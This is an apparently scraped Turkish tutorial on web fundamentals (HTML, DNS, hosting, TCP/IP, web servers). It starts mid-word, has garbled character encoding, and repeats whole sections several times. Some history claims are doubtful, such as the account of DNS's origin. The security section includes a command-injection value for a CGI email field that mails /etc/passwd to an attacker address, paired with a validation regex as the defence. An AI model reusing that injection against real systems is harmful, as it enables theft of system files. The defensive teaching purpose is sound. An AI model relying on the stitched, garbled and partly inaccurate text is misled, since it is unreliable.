tarayıcısıdır.
Tarayıcılar Ġçin Yardımcı Programlar ve Ek Birimler
Tarayıcılar eskiden sadece iletilen metni göstermekteydi.
ġimdi hiçbir eklenti gerekmeden bir çok resim
dosyayısını gösterebilmekte ve çözücü (CODEC- COder
DECoder) yardımı ile video dosyalarını
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
41
oynatabilmektedir. CODEC kullanılması tarayıcıların asıl
alanlarında kalmasına izin verir. Çünkü sürekli yeni
görüntü ve ses formatları çıkmaktadır. Haliyle her
tarayıcının buna ayak uydurması mümkün değildir. Plug-
In denilen ek birimler tarayıcıya tamamen farklı bir
programı açmak yerine, belirli bir tür dosya türünü
ekranda canlandırabilme yeteneği kazandıran eklerdir.
Tarayıcı program bilgisayara kurulurken bu ek birimler
olmaksızın (ya da çok yaygın olanları ile) yüklenir.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
Web’de Gezme iŞlemine Genel Bir BakıŞ
Web’de Gezme iŞlemine Genel Bir BakıŞ
Internet ve intranet ortak dili, HTML dilidir. Bir Web
sayfasında yer alan belgenin içindeki bazı kelimeler,
simgeler, fotoğraflar, grafik unsurlar veya bunların
parçaları bir baĢka sayfa ile hiper-link kurularak,
bağlanmıĢtır.
Kullanıcı, hiç bir komut öğrenmek zorunda kalmadan, hiç
bir bağlantının Internet‘teki adresini bilmek zorunluluğu
olmadan bu sayfalardaki bağlantıları tıklayarak, yazıdan
yazıya, Ģekilden Ģekilde, gidebilir. Aslında kullanıcı ya da
ziyaretçinin bir HTML sayfasıyla iliĢkisi burada da
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
36
bitmemektedir. Çoğumuz ulaĢtığımız bir alanın adresini
Web tarayıcı programında sık sık ziyaret etmek istediği
yerlerin arasına koyabilir (bookmark) ve arzu ettiği
zaman doğruca iĢaretlenmiĢ olan bu adreslere gidebilir.
HTML’in baŞLlıca özelliklerini şöyle
sıralayabiliriz:
1. Belge biçimlendirme: HTML, Web tasarımcısına,
belgelerini ziyaretçinin ekranında nasıl oluĢmasını
istiyorsa öyle Ģekillendirme imkanı verir.
2. Bununla birlikte tarayıcı programlarının HTML
komutlarını yorumlayıĢlarında az da olsa fark
vardır ve bu fark sayfalarınızın bir ziyaretçinin
bilgisayarında baĢta, diğerinin bilgisayarında baĢka
gösterilmesine yol açabilir. Ayrıca ziyaretçileriniz,
tarayıcı programlara verdikleri komutlarla, aldıkları
sayfalarda genel değiĢiklik veya kısıtlamalar
yapabilirler. Siz sayfanızda ne tür harf türü (font)
kullanmıĢ olursanız olun, ziyaretçiniz tarayıcı
programa ―Sadece Times fontları kullan‖ demiĢ ise,
sayfanız bu ziyaretçinin ekranında sizin
istediğinizden farklı biçimde görülecektir. Ziyaretçi
tarayıcı programına ―Grafik unsurları gösterme!‖
demiĢ ise, sayfalarınız ve tabiî vermek istediğiniz
görsel mesaj tamamen farklı bir nitelik
kazanacaktır. Bu duruma rağmen, bugünkü
Ģekliyle HTML, Web tasarımcısına adeta bir gazete
ya da dergi sayfası tasarlarcasına, oluĢturmak
istediği görsel etkiyi sağlamasına yeterli tasarım
araçları sunmaktadır.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
37
3. Ġlk çıktığında web sadece durağan sayfaların
aktarıldığı bir yer iken bugün canlı yayın radyo ve
tlevizyonlara varıncaya kadar hayatımıza grmiĢtir.
Bununla birlikte HTML, bir kelime iĢlem ya da
masaüstü yayıncılık programının oluĢturabileceği
görsel özelliklere sahip sayfalar oluĢturamaz. Bu
kısıtlamalara, Internet‘i tasarlayan uzmanların,
platformlar (Windows 3.x, Windows 95/98,
Windows NT, Unix, MacOS), donanımlar
(Macintosh, PC, Sun) ve tarayıcı programların
hepsi tarafından doğru Ģekilde anlaĢılabilen bir
platform oluĢturma isteği sebep olmaktadır.
HTML, dililinin hassas ölçmelere ve biçimlendirmelere izin
vermemesi HTML için eksiklik değil bilinçli bir tercihtir.
Çünkü bu durumda ancak belirli platformlarda çalıĢır
duruma gelecekti. HTML dilinin platformdan bağımsız
olması adına bu yol seçilmiĢtir.
4. HTML ile oluĢturulacak statik alanların içine
dinamik sonuçlar doğuracak programlar
konulabilir. Bu dillerle HTML sayfalarını
duraganlıktan çıkartmak ve ziyaretçi ile etkileĢen,
ziyaretçinin arzu, beğeni ve özelliklerine göre
içeriğini değiĢtirebilen Web alanları tasarlamak
mümkündür
5. Web‘de bulunan aĢağı yukarı bütün içerik yani
metin, ses, video türü mer materyal sanat eseri
kabul edilmektedir. Kısaca telif hakkı ve bu hakka
sahip birisi vardır. Dolayısı ile telif hakkı size ait
olmayan veya sahibi tarafından size izin
verilmeden bir sanat eserini yayınlayamazsınız.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
38
Bir sanat eserini Web sayfanıza koymak ve
kamuoyunun ulaĢabileceği Internet gibi herkese
açık bir ortama yerleĢtirmek, yasaların ―yayın‖
saydığı bir fiildir. Ġzinsiz sanat eseri yayınlamak
ise, Türk Ceza Yasası‘na göre ağır hapis cezasıyla
cezalandırılan bir suçtur. Ceza yasaları olmasada
bu ahlaki bir suçtur.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
Internet ve intranet ortak dili, HTML dilidir. Bir Web
sayfasında yer alan belgenin içindeki bazı kelimeler,
simgeler, fotoğraflar, grafik unsurlar veya bunların
parçaları bir baĢka sayfa ile hiper-link kurularak,
bağlanmıĢtır.
Kullanıcı, hiç bir komut öğrenmek zorunda kalmadan, hiç
bir bağlantının Internet‘teki adresini bilmek zorunluluğu
olmadan bu sayfalardaki bağlantıları tıklayarak, yazıdan
yazıya, Ģekilden Ģekilde, gidebilir. Aslında kullanıcı ya da
ziyaretçinin bir HTML sayfasıyla iliĢkisi burada da
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
36
bitmemektedir. Çoğumuz ulaĢtığımız bir alanın adresini
Web tarayıcı programında sık sık ziyaret etmek istediği
yerlerin arasına koyabilir (bookmark) ve arzu ettiği
zaman doğruca iĢaretlenmiĢ olan bu adreslere gidebilir.
HTML’in baŞLlıca özelliklerini şöyle
sıralayabiliriz:
1. Belge biçimlendirme: HTML, Web tasarımcısına,
belgelerini ziyaretçinin ekranında nasıl oluĢmasını
istiyorsa öyle Ģekillendirme imkanı verir.
2. Bununla birlikte tarayıcı programlarının HTML
komutlarını yorumlayıĢlarında az da olsa fark
vardır ve bu fark sayfalarınızın bir ziyaretçinin
bilgisayarında baĢta, diğerinin bilgisayarında baĢka
gösterilmesine yol açabilir. Ayrıca ziyaretçileriniz,
tarayıcı programlara verdikleri komutlarla, aldıkları
sayfalarda genel değiĢiklik veya kısıtlamalar
yapabilirler. Siz sayfanızda ne tür harf türü (font)
kullanmıĢ olursanız olun, ziyaretçiniz tarayıcı
programa ―Sadece Times fontları kullan‖ demiĢ ise,
sayfanız bu ziyaretçinin ekranında sizin
istediğinizden farklı biçimde görülecektir. Ziyaretçi
tarayıcı programına ―Grafik unsurları gösterme!‖
demiĢ ise, sayfalarınız ve tabiî vermek istediğiniz
görsel mesaj tamamen farklı bir nitelik
kazanacaktır. Bu duruma rağmen, bugünkü
Ģekliyle HTML, Web tasarımcısına adeta bir gazete
ya da dergi sayfası tasarlarcasına, oluĢturmak
istediği görsel etkiyi sağlamasına yeterli tasarım
araçları sunmaktadır.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
37
3. Ġlk çıktığında web sadece durağan sayfaların
aktarıldığı bir yer iken bugün canlı yayın radyo ve
tlevizyonlara varıncaya kadar hayatımıza grmiĢtir.
Bununla birlikte HTML, bir kelime iĢlem ya da
masaüstü yayıncılık programının oluĢturabileceği
görsel özelliklere sahip sayfalar oluĢturamaz. Bu
kısıtlamalara, Internet‘i tasarlayan uzmanların,
platformlar (Windows 3.x, Windows 95/98,
Windows NT, Unix, MacOS), donanımlar
(Macintosh, PC, Sun) ve tarayıcı programların
hepsi tarafından doğru Ģekilde anlaĢılabilen bir
platform oluĢturma isteği sebep olmaktadır.
HTML, dililinin hassas ölçmelere ve biçimlendirmelere izin
vermemesi HTML için eksiklik değil bilinçli bir tercihtir.
Çünkü bu durumda ancak belirli platformlarda çalıĢır
duruma gelecekti. HTML dilinin platformdan bağımsız
olması adına bu yol seçilmiĢtir.
4. HTML ile oluĢturulacak statik alanların içine
dinamik sonuçlar doğuracak programlar
konulabilir. Bu dillerle HTML sayfalarını
duraganlıktan çıkartmak ve ziyaretçi ile etkileĢen,
ziyaretçinin arzu, beğeni ve özelliklerine göre
içeriğini değiĢtirebilen Web alanları tasarlamak
mümkündür
5. Web‘de bulunan aĢağı yukarı bütün içerik yani
metin, ses, video türü mer materyal sanat eseri
kabul edilmektedir. Kısaca telif hakkı ve bu hakka
sahip birisi vardır. Dolayısı ile telif hakkı size ait
olmayan veya sahibi tarafından size izin
verilmeden bir sanat eserini yayınlayamazsınız.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
38
Bir sanat eserini Web sayfanıza koymak ve
kamuoyunun ulaĢabileceği Internet gibi herkese
açık bir ortama yerleĢtirmek, yasaların ―yayın‖
saydığı bir fiildir. Ġzinsiz sanat eseri yayınlamak
ise, Türk Ceza Yasası‘na göre ağır hapis cezasıyla
cezalandırılan bir suçtur. Ceza yasaları olmasada
bu ahlaki bir suçtur.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
BİR WEB SİTESİ İÇİN BİLİNMESİ GEREKEN TEMEL BİLGİLER
Bir Web Sitesi Bilinmesi Gereken Temel Bilgiler
Bir web sitesi için
Her web adresi aslında bir numara bloku tarafından
temsil edilir. Bu o sitenin IP numarasıdır. Örneğin
212.175.12.43 gibi.
IP numarası hatırlamak kolay olmadığından her
site için bir isim tanımlanmasının hatırlamayı kolay
kılacağı düĢünülmüĢtür. Bu isimlere alan adı
(domain name) denir.
Hangi ismin hangi IP tarafından karĢılanacağını
tutmak içinse NS (name server) dediğimiz rehber
bilgisayarlar kurulmuĢtur. (9 ana NS bilgisayar
vardır ve tamamı ABD ‗dedir). Name server üzeride
kayıt sorgulamak içine DNS denilen servisten
yararlanılır. Örneğin IP adresi olarak
194.27.128.101 gibi numaraları akılda tutmak zor
olduğundan 1983‘te Wisconsin Üniversitesi DNS‘yi
geliĢtirmiĢtir. DNS isimleri rakamlara çevirir ve bu
da daha kolay kullanım sağlar. Bazen Ttnet DNS
sunucuları hata verdiğinden ―internet çalıĢmıyor‖
diyenler olur. Oysa adres çubuğuna IP no yazılırsa
siteye eriĢim sağlanması mümkündür.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
27
Ġsimleri tahsis etmek ve çakıĢmaları önlemek üzere
Domain Register iĢi yapan Ģirketler kurulmuĢtur.
Bunların iĢi uygun bir alan adını belirli bir ücret
karĢılığı kullanıcılara kiralamaktır. Kiralama iĢlemi
ile birlikte bu alan adının internette hangi IP no
üzerinde olduğuda burada kayıt altına alınır.
Bir sitenin eriĢilebilir olması için DNS bilgisayarında
IP ile ağa bağlı bir bilgisayar olması gerekir. Bu
kendi bilgisayarımızda olabilir ancak bu sistemlerin
gerçek sunucu olması iĢlemlerin aksamasını
engelleyeceğinden ve bu sunucularda bizim için
hayli masraflı olacağından yeni bir iĢkolu
doğmuĢtur. HOSTING dediğimiz bu iĢ kolunun ana
amacı kullanıcıların web sitelerini kendi
sistemlerinde yayınlamak ve bunun karĢılığında
ücret almaktır.
Hosting Ģirketleri sunucu bilgisayarlarına Web
server adı verilen bir program kurarlar. Bu
program ise 80 nolu portu dinleyere kendisine
bağlanan kiĢilere istedikleri dosyaları iletir.
Web server ile kullanıcı TCP/IP iletiĢim protokolü
üzerinden konuĢurlar.
Kullanıcı Web Server programına kendisine kurulu
olan ve Browser (Web tarayıcı, Gezgin) adı verilen
programlar ile 80 nolu http portundan bağlanır.
Kullanıcıları ile Web server arasında köprü olarak
ise internete çıkarmak üzere Internet Servis
Sağlayıcı (ISS- Ingilizcesi ISP – Internet Service
Provider) yer almaktadır. Zaten gerçek zamanlı
iletiĢimi gereksiz kılanda bu iĢlemdir bir nevi.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
28
Kullanıcı örneğin www.tcmb.gov.tr yazdığında
browser bu talebi ISS‘ te bağlandığı bilgisayara
iletmekte, o da gerekli arama iĢleminden sonra
bilgiyi talep etmektedir. ĠĢte bu aĢamada kullanıcı
bağlantıyı kesse bile web server bunu
bilmemektedir. Zaten bilmesine de gerek yoktur.
Web sunucu HTML metni ( içerik ve o içeriğin
ekranda nasıl gösterileceğine dair biçimlendirme
bilgileri) gönderir ancak metni biçimlendirme iĢlemi
kullanıcı tarafından yer alan browser tarafından
yerine getirilir. Browserlar iĢte bu yüzden HTML
yorumlama motoru denilen engine barındırırılar.
Her yorumlayıcı farklı mantıkla ve ayrı firmalar
tarafından yazıldığından bazı metinlerin ekranda
görüntüleme iĢleminde farklılıklar oluĢabilir. Ayrıca
bazen Ģirketler sadece kendi tarayıcısına yönelik
etiketleri üstelik W3C tarafından onaylanmadan
motoruna ekleyebilir.
Örneğin BLINK etiketi NETSCAPE O yüzden site
tasarımında ne çok bu konuya dikkat edilmelidir.
Dolayısı ile BLINK kullanılan bir sayfa Netscape ile
normal görünürken, Safari ile farklı görünecektir.
En büyük Ģansımız ise tarayıcılar hatalı bir etikete
rastlayınca bunu göz ardı ederek geri kalanları
çalıĢtırmaya devam etmesidir.
Domain Uzantı Adları
Günümüzde alan adları yaĢanan sıkıntıların ardından
çeĢitlendirilmiĢ ve alternatifler artmıĢtır. Ancak biz temel
standartlar üzerinden anlamlarını belirtelim.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
29
.com -Ticari Ģirketlere ait alan adını belirtir
.edu -Eğitim kurumlarına ait alan adını belirtir
.gov -Hükümet ve devlete ait alan adını belirtir
.mil -Askeri alan adını belirtir
.net -Ağ servis sağlayıcılarına ait alan adını belirtir
.org -Dernek, spor kulübü gibi organizasyonlara ait alan
adını belitir
TCP / IP
Transmission Control Protocol / Internet Protocol
Kelimelerinin baĢ harflerinden oluĢan Paul Baran
tarafından düĢünülmüĢ bir sistemdir. Paul Baran‘dan
talep edilen Ģey Ģuydu. ―A,B,C Ģehirlerinde
bilgisayarlarımız var, A,B,C birbirleriyle konuĢabilsin,
bilgi gönderebilsin, ama A devre dıĢı kalsa bile B ve C
konuĢmaya devam edebilsin, bu diğerleride içinde geçerli
olsun‖. Paul Baran bu iĢ için paket anahtarlamalı ağ
iletiĢimi tekniğini düĢündü. Çünkü istenen Ģey verinin
iletilmesiydi. Her koşul ve şart altında bile verinin
iletilmesi birinci öncelikti. (İlk öncelik güvenlik
olmadığı içinde bu gün güvenlik anlamında bir sürü
ekstra yatırıma vs gerek duyulmakta). Veriler
paketlere bölünecek ve hedef yerde bu paketler
birleĢince verinin kendisi oluĢmuĢ olacaktı.
Paul Baran daha sonra A,B,C lokasyonlarının
nükleer füze merkezleri olduğunu öğrendiğinde
aslında geliştirdiği şeyin ne olduğunu anlamıştı
anlamasına da bilmeden de olsa internetin ilk
öncüsü de olmuştu. Kısaca TCP / IP protokolü de
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
30
Ģüphesiz ilk olarak askeri amaçlı geliĢtirilen bir
protokoldü ve temel amacı ―bir nükleer savaĢ anında
tüm telefon Ģebekesi yok olsa bile biz iletiĢimi devam
edip karĢı tarafa nükleer saldırı ile cevap verebilelim.―
1983 yılında TCP / IP ye temel hali verildi. TCP / IP
protokolü Unix iĢletim sistemine eklenmiĢ ve 1984
yılında DNS kavramı oluĢturulmuĢtur. Günümüzde
internet hayatın içine öyle girmiĢtir ki, TCP / IP sadece
internetin değil tüm ağ protokollerinin arasından en çok
kullanılan durumuna yükselmiĢtir.
PORT
TCP / IP de her bilgi bilgisayarlar arasında portlar
üzerinden iletilir. Ġletim için geçilen yol aynı olsada
bilgilerin doğru adrese gitmesi için portların kullanımı
Ģarttır. Bir gazete datıcısını düĢünün. Dağıtım kanalı hep
aynıdır. Sokaklar. Ancak gazetelere doğru yerlere
ulaĢtırmasının tek yolu adreslerdir. Yani kapı numaraları.
HTTP iĢlemleri için 80 nolu port kullanılır. Mail alıp
gönderme için 25 ve 110 nolu portlar kullanılır. MSN,
ICQ, IRC, FTP vs vsvs tüm yazılımların ayrı bir port
kullanımı vardır.
TCP /IP veriyi iletirken baĢına port‘u da kaydettiğinden, o
paketin hangi yazılım için olduğu bilgisi de otomatikman
iletilmiĢ sayılabilir. Böylece bilgisayarda aynı anda bir çok
yazılım ile internet kullanılabilmektedir.
Web Server
Internette tanımlı bir alan adına karĢılık gelen bir numara
(IP numarası) vardır demiĢtik. Bu IP nolu bilgisayar sayfa
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
31
gelen kiĢilere istedikleri bilgileri gönderebilmek için hep
açık olmak zorundadır. Ayrıca bu bilgisayarda gelen
talepleri toplayıp onlara cevap verecek bir de program
yüklü olmalıdır.
Web server aslında hem bu iĢlere yarayan programlara
hemde bu programların kurulduğu bilgisayarlara verilen
bir isimdir. Kafa karıĢtırıcı olabilir ama ama iki tanımda
doğrudur. En çok bilinen Web Server programları
Apache, MS Internet Information Server (IIS),
Xitami gibi yaygın sunuculardır.
Bu programların, bilgi alıp-vermenin yanı sıra, elektronik
posta alıp verme ve yönlendirme, veritabanlarına eriĢme
ve içinden seçme yapma (Query, SQL, vb. gibi), kendi
sabit diskinde duran bir dosyayı alıp karĢı tarafa aktarma
(FTP, Gopher, WAIS) veya karĢı tarafın vereceği dosyayı
alıp kendi sabit diskine kaydetme yeteneği olur.
Ġlk Web Server programı, yukarıda, HTML dilinin
geliĢtirilmesindeki öncü konumu nedeniyle sözünü
ettiğimiz, Ġsviçre‘deki CERN kurumu tarafından
geliĢtirildi; ama kısa zamanda UNIX platformunda,
anonim bir tarzda ve ücret ödemeden kullanılabilen bir
Ģekil aldı. KiĢisel bilgisayarların UNIX gerektiren
bilgisayarlara oranla daha ucuz olması, Microsoft‘un NT,
IBM‘in OS/2 iĢletme sistemlerinin UNIX‘e ciddî rakip
haline gelmiĢ bulunmaları nedeniyle, bu sistemlere dayalı
Web Server programları da hızla artmaktadır.
Apache Web Server ise bir çok iĢletim sisteminde
çalıĢabilmesi ve ücretsiz olması nedeniyle Linux ile
birlikte iyi bir ikili olmuĢ ve Internette en çok kullanılan
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
32
Web Server olma özelliğini açık ara ile elinde
tutmaktadır.
Apache
Açık kaynak kodludur
Bir çok iĢletim sisteminde çalıĢabilir (hatta bir çok
sistemde zaten kurulu halde gelir)
Tamamen ücretsizdir
IIS
Kaynak kodu kapalıdır.
Windows iĢletim sisteminde çalıĢır.
Ücretsiz değildir.
Linux ve FreeBSD adlı, ücretsiz dağıtılan UNIX iĢletme
sistemleri de, ticarî olanları aratmayacak niteliklere
sahiptir. Ayrıca bu tür ücretsiz programlar, Apache Web
Server‘ın ücretsiz sürümünü de içerdiklerinden sıfır
maliyet ve kurulum ile web server edinmek mümkündür.
Bir Web Server yazılım paketi seçerken dikkat edilmesi
gereken bir kaç ilkeyi sıralayalım:
1. Yazılım paketi yeterli güvenliği sağlayacak özelliklere
sahip olmalıdır. Binalarda bir odadaki yangının yandaki
odaya sıçramasını önleyen ateĢe dayanıklı duvarlardan
(Firewall) esinlenerek adlandırılan bir dizi program,
Web Server yazılımının bulunduğu bilgisayarın, kötü
niyetli kiĢiler tarafından bozulmasına engel olmaktadır.
Ancak Web Server‘ın kendi içinde mevcut güvenlik
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
33
önlemlerinin neler olduğunu dikkatle araĢtırmanız
gerekir. Bunuda tarafsız bir gözle yapmak gerekir
örneğin çoğu kiĢi için Unix çok güvenli, Windows ise
berbattır yada bunun tersi düĢünülebilir. Oysa bu bir
takım tutma olayı değild,r ve önyargılı olmak yanlıĢtır.
Asıl güvensiz olan sistem değil sistemin baĢında oturan
sistem yöneticisidir.
Yönetici ne kadar dikkat ederse sistemde o kadar
güvende demektir. Burada önemli olan, Internet‘e
açılmanın, iyi niyetli-kötü niyetli herkese açılmak
olduğunu unutmamaktır. Özellikle form denilen,
HTML‘in ziyaretçi bilgisayarın evsahibi bilgisayara
talepten baĢka Ģeyler göndermesine imkan veren
etiketlerini ve ona bağlı CGI (Common Gateway
Interface-Ortak Geçit Arabirimi) adı verilen ziyaretçinin
ev sahibi bilgisayardaki programları harekete
geçirebildiği buluĢma noktasında yer alacak
programları tasarlarken, daima kötüniyetli kiĢileri
dikkate alarak hareket etmek gerekir. Internet‘te
güvenliğin ne kadar kolay sarsılabildiğine ve ne kadar
kolay önlem alınabileceğini bir örnek verelim.
Sayfanızda, ziyaretçinin doldurması gereken ―Elektronik
Posta Adresiniz:‖ diye bir metin kutusu bulunduğunu
düĢünün. Bu kutuya bütün ziyaretçilerin elektronik posta
adreslerini yazacaklarını düĢünüyor ve bu bilgiyi
iĢleyecek CGI programında, ziyaretçinin bu kutuya
yazacağı bilgiyi, alıp doğruca Web Server‘ın ―Mail‖
programına veriyorsunuz.
Peki, ya kullanıcı adres yerine;
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
34
“benhacker@hacklendin.com; mail
hacker1@hacker.com</etc/passwd”
yazarsa? Bu yaptığınız basit ama ölümcül hata sonucu,
forma girilen bu adrese, bilgisayar sisteminizdeki bütün
password-parola dosyaları email ile gönderilecektir.
Oysa, programı yazan kiĢi, elektronik posta adresini Mail
programına gönderirken ―unless ($mail_to = ~/^[\w-
.]+\@[\w-.]+$)‖ Ģeklinde bir satırla, girilen bilgideki
karakterleri kontrol etse sorun halledilebilecektir.
2. Özel Bilgilerin Korunması ve Doğrulatma: Web
hizmeti sunan kiĢi, sadece baĢkalarının kendi
bilgisayar sisteminde arzu edilmeyen Ģeyler
yapmalarını önlemekten değil, aynı zamanda
kendisine emanet edilen baĢkalarına ait bilgileri de
saklamak ve baĢkalarından korumak zorundadır. Bu
bilgiler, ziyaretçinin adı, elektronik adresi, hatta kredi
kartı numarası olabilir. Bunlar, sizin Internet‘te
çizdiğiniz portreye güvenilerek size verilmiĢ mahrem
bilgilerdir.
Ziyaretçi bu bilgileri size, kötüye kullanılmayacağı
güvencesiyle vermektedir. Aynı bağlamda, Web
hizmeti sunan kiĢi olarak, sizin de bu bilgilerin
kolayca ve baĢkalarına açık hale getirilmeden
doğrulatılmasına ihtiyacınız olacaktır. Web Server
programınız, örneğin kredi kartı numarasını, yeni
programlar edinmeye ihtiyaç kalmadan
doğrulatabilmelidir.
3. Web Server, siteye yapılan ziyareterin kaydını uygun
Ģekle kayıt altına almalıdır? Örneğin sayfanıza kaç kiĢi
uğramıĢ, sitenizin en çok hangi sayfası
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
35
görüntülenmiĢ, en çok hangi dosya indirilmiĢ, han
gisteden sizin sitenize en çok ziyaretçi gelmiĢ
bunların bilinmesi önemlidir.
Özellikle elektronik ticarete dayalı veya mesajını daha
çok sayıda kiĢiye iletmek amacıyla hazırlanan Web
alanlarını iĢletenlerin, sayfalarının varlığını duyurmak
için, mümkün olan her yoldan yararlanmaları gerekir.
Çok önemsiz gibi görünebilir ama Google içerik ile
reklamı birleĢtirmeyi akıl eden reklam yapısı Ģu anda
alanında dünyanın en büyüğü olmayı baĢarmıĢ bir
Ģirket. Örneği sitenize gelen ziyaretçi eğer mobilya
hakkında bilgi arıyor ise belkide mobilya almaya
niyeti vardır bu durumda ona mobilya reklamı
gösterilmelidir… ĠĢte bu formül Google Ģirketini bir
numara yapmıĢtır.
4. Web Server programıyla ilgili teknik destek ve sorun
çözme hizmeti alıp almamak, programın seçiminde
belki de en önemli unsur sayılabilir.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 -ALINTIDIR.
Bir web sitesi için
Her web adresi aslında bir numara bloku tarafından
temsil edilir. Bu o sitenin IP numarasıdır. Örneğin
212.175.12.43 gibi.
IP numarası hatırlamak kolay olmadığından her
site için bir isim tanımlanmasının hatırlamayı kolay
kılacağı düĢünülmüĢtür. Bu isimlere alan adı
(domain name) denir.
Hangi ismin hangi IP tarafından karĢılanacağını
tutmak içinse NS (name server) dediğimiz rehber
bilgisayarlar kurulmuĢtur. (9 ana NS bilgisayar
vardır ve tamamı ABD ‗dedir). Name server üzeride
kayıt sorgulamak içine DNS denilen servisten
yararlanılır. Örneğin IP adresi olarak
194.27.128.101 gibi numaraları akılda tutmak zor
olduğundan 1983‘te Wisconsin Üniversitesi DNS‘yi
geliĢtirmiĢtir. DNS isimleri rakamlara çevirir ve bu
da daha kolay kullanım sağlar. Bazen Ttnet DNS
sunucuları hata verdiğinden ―internet çalıĢmıyor‖
diyenler olur. Oysa adres çubuğuna IP no yazılırsa
siteye eriĢim sağlanması mümkündür.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
27
Ġsimleri tahsis etmek ve çakıĢmaları önlemek üzere
Domain Register iĢi yapan Ģirketler kurulmuĢtur.
Bunların iĢi uygun bir alan adını belirli bir ücret
karĢılığı kullanıcılara kiralamaktır. Kiralama iĢlemi
ile birlikte bu alan adının internette hangi IP no
üzerinde olduğuda burada kayıt altına alınır.
Bir sitenin eriĢilebilir olması için DNS bilgisayarında
IP ile ağa bağlı bir bilgisayar olması gerekir. Bu
kendi bilgisayarımızda olabilir ancak bu sistemlerin
gerçek sunucu olması iĢlemlerin aksamasını
engelleyeceğinden ve bu sunucularda bizim için
hayli masraflı olacağından yeni bir iĢkolu
doğmuĢtur. HOSTING dediğimiz bu iĢ kolunun ana
amacı kullanıcıların web sitelerini kendi
sistemlerinde yayınlamak ve bunun karĢılığında
ücret almaktır.
Hosting Ģirketleri sunucu bilgisayarlarına Web
server adı verilen bir program kurarlar. Bu
program ise 80 nolu portu dinleyere kendisine
bağlanan kiĢilere istedikleri dosyaları iletir.
Web server ile kullanıcı TCP/IP iletiĢim protokolü
üzerinden konuĢurlar.
Kullanıcı Web Server programına kendisine kurulu
olan ve Browser (Web tarayıcı, Gezgin) adı verilen
programlar ile 80 nolu http portundan bağlanır.
Kullanıcıları ile Web server arasında köprü olarak
ise internete çıkarmak üzere Internet Servis
Sağlayıcı (ISS- Ingilizcesi ISP – Internet Service
Provider) yer almaktadır. Zaten gerçek zamanlı
iletiĢimi gereksiz kılanda bu iĢlemdir bir nevi.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
28
Kullanıcı örneğin www.tcmb.gov.tr yazdığında
browser bu talebi ISS‘ te bağlandığı bilgisayara
iletmekte, o da gerekli arama iĢleminden sonra
bilgiyi talep etmektedir. ĠĢte bu aĢamada kullanıcı
bağlantıyı kesse bile web server bunu
bilmemektedir. Zaten bilmesine de gerek yoktur.
Web sunucu HTML metni ( içerik ve o içeriğin
ekranda nasıl gösterileceğine dair biçimlendirme
bilgileri) gönderir ancak metni biçimlendirme iĢlemi
kullanıcı tarafından yer alan browser tarafından
yerine getirilir. Browserlar iĢte bu yüzden HTML
yorumlama motoru denilen engine barındırırılar.
Her yorumlayıcı farklı mantıkla ve ayrı firmalar
tarafından yazıldığından bazı metinlerin ekranda
görüntüleme iĢleminde farklılıklar oluĢabilir. Ayrıca
bazen Ģirketler sadece kendi tarayıcısına yönelik
etiketleri üstelik W3C tarafından onaylanmadan
motoruna ekleyebilir.
Örneğin BLINK etiketi NETSCAPE O yüzden site
tasarımında ne çok bu konuya dikkat edilmelidir.
Dolayısı ile BLINK kullanılan bir sayfa Netscape ile
normal görünürken, Safari ile farklı görünecektir.
En büyük Ģansımız ise tarayıcılar hatalı bir etikete
rastlayınca bunu göz ardı ederek geri kalanları
çalıĢtırmaya devam etmesidir.
Domain Uzantı Adları
Günümüzde alan adları yaĢanan sıkıntıların ardından
çeĢitlendirilmiĢ ve alternatifler artmıĢtır. Ancak biz temel
standartlar üzerinden anlamlarını belirtelim.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
29
.com -Ticari Ģirketlere ait alan adını belirtir
.edu -Eğitim kurumlarına ait alan adını belirtir
.gov -Hükümet ve devlete ait alan adını belirtir
.mil -Askeri alan adını belirtir
.net -Ağ servis sağlayıcılarına ait alan adını belirtir
.org -Dernek, spor kulübü gibi organizasyonlara ait alan
adını belitir
TCP / IP
Transmission Control Protocol / Internet Protocol
Kelimelerinin baĢ harflerinden oluĢan Paul Baran
